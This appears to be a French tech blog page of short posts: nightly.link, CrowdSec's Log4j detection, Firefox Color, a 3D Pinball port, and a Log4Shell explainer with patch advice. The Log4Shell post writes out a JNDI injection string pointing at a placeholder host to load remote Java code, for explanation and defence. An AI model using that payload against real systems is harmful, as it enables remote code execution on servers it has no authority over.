Il y a quelques jours, j’avais besoin de trouver une version nigthly d’un projet open source et pas de bol, rien n’était proposé à portée de clic sur la page Github. Pour trouver une version nightly, il faut aller fouiller dans les « Actions » de Github et récupérer l’artefact produit dans le workflow qui nous intéresse.
Pas pratique, surtout pour les débutants. Alors si vous voulez proposer un lien direct vers une version nightly générée via Github Actions et qui par définition change très rapidement, il suffit de passer par le site nightly.link.
En entrant le lien pointant vers le fichier build-app.yml ou en associant votre compte Github, vous obtiendrez des liens vers la dernière build de votre projet que vous pourrez ensuite proposer aux gens qui apprécient celui-ci.
Un peu spécifique comme besoin, mais très cool non ?
Si vous travaillez dans le domaine de la cybersécurité, vous avez probablement passé un très mauvais week-end.
Et ce, à cause de la découverte de la vulnérabilité zero-day Log4j (CVE-2021-44228).
L’équipe CrowdSec s’est retroussé les manches pour développer un scénario capable de détecter et bloquer les tentatives d’exploitation de cette vulnérabilité. Vous pouvez le télécharger directement depuis le Hub de CrowdSec et l’installer en un clin d’œil.
L’efficacité de CrowdSec se basant sur le pouvoir de la foule, et à la lumière de la taille de leur communauté en pleine expansion, la solution a déjà collecté un grand nombre d’adresses IP qui tentant d’exploiter la vulnérabilité. Vous pouvez consulter la liste ici. Elle est très fréquemment mise à jour et il va sans dire que vous devriez bloquer sans attendre celles qui sont marquées comme « validated ».
Ces adresses IP ont été sélectionnées par l’algorithme de consensus de la solution, ce qui signifie qu’elles ont reçu de nombreux votes défavorables de la part de leur réseau d’utilisateurs. Celles qui sont marquées comme “not enough data” sont très suspectes mais peuvent encore contenir quelques faux positifs. Les adresses classées dans la catégorie « benign » sont utilisées par des personnes qui sont généralement du bon côté de la force, pour aider, scanner, et non à des desseins malfaisants.
Vous pouvez également utiliser leur mode replay, ou forensics, pour analyser les logs de vos serveurs afin de vérifier si une exploitation Log4j a été tentée sur l’une de ces IP, par qui et quand, en utilisant le scénario approprié et la ligne de commande ci-dessous :
Si vous souhaitez accéder à plus de détails concernant cet IPS open source et collaboratif, qui est capable de détecter et bloquer de nombreux comportements malveillants, tout en vous permettant de collaborer entre cyber défenseurs en échangeant les IPs bloquées, visitez leur site web ou leur dépôt GitHub.
Courageux résistants qui utilisent encore Firefox, voici un super outil pour le personnaliser à fond !
Ça s’appelle Firefox Color et une fois l’extension installée, il vous suffit de jouer avec les paramètres de couleurs pour créer le thème Firefox qui vous correspond. Couleur de la barre d’onglets, couleur de fond, couleur du champs de recherche, couleur des tooltips…etc. Tout est modifiable !
Vous pouvez même uploader une image pour l’avoir en fond dans la barre d’onglets. Par exemple, j’ai fait un petit thème spécial Noël :
Firefox Color est très sympa puisqu’il vous permet de vous faire un petit Firefox custom mais également d’exporter vos œuvres pour les proposer à votre communauté, famille, amis…etc.
N’hésitez pas à partager vos thèmes ici aussi ! Et si vous n’avez pas d’inspiration, il y a un gros bouton RANDOM en haut qui permet d’avoir des résultats souvent moches mais parfois agréablement surprenant.
Est-ce que vous vous souvenez de 3D Pinball sous Windows ? Créé en 1995, ce jeu était disponible d’origine d’abord dans Windows 95 Plus! jusqu’à Windows XP. Il s’agissait en réalité d’une version de Full Tilt! Pinball édité par Maxis (Sim City) avec la table Space Cadet.
Ensuite, avec l’arrivée de Windows Vista, ce jeu a été abandonné à cause d’un bug au niveau de la détection des collisions dans la version 64 bits. Mais la bonne nouvelle c’est que vous allez pouvoir y rejouer grâce à ce portage de k4zmu2a qui a totalement reversé 3D Pinball : Space Cadet à l’aide de Ida et Ghidra.
À partir de là, il est possible de télécharger ou compiler une version pour Windows, Linux et macOS.
D’autres portages sont également disponibles pour la Nintendo Switch, Android, PS Vita, 3DS, Wii et Wii U.
Si vous vous intéressez un peu à la sécurité informatique, il ne vous aura pas échappé que le 9 décembre dernier, une faille 0day touchant Apache Log4j avait été divulguée. Baptisée Log4Shell, cette faille qui touche log4j de la version 2.0 à 2.14.1 a obtenu un score CVSS de 10/10 en matière de gravité.
Woohoo.
Ça transpire fort un peu partout surtout que la faille est actuellement utilisée. Pour vous la faire courte, il suffit de réussir à faire passer dans les logs analysés par log4j les caractères suivants.
${jndi:ldap://URL.com/FICHIER_JAVA}
et cela aura pour effet de télécharger et exécuter le fichier java qui est au bout de l’url « URL.com/FICHIER_JAVA ». C’est aussi simple que dramatique.
Vous le savez, pour patcher cette vulnérabilité Log4Shell (CVE-2021-44228), il faut de toute urgence mettre à jour log4j vers une version >= 2.15.0.
Et si ce n’est pas possible :
Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l’option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d’attaque (les chercheurs n’excluent pas l’existence d’un autre vecteur d’attaque).
Mais une autre possibilité consiste à laisser faire la nature et c’est ce que propose Cybereason avec ce code baptisé Logout4Shell qui exploite la vulnérabilité Log4Shell pour… la patcher tout simplement.
Le payload qui est chargé via la faille va forcer l’enregistreur Log4j à se reconfigurer pour basculer le paramètre qui va bien sur True et empêchera ainsi toute exploitation ultérieure via cette attaque.
C’est un genre de cyber vaccin en attendant une vraie mise à jour de Log4j.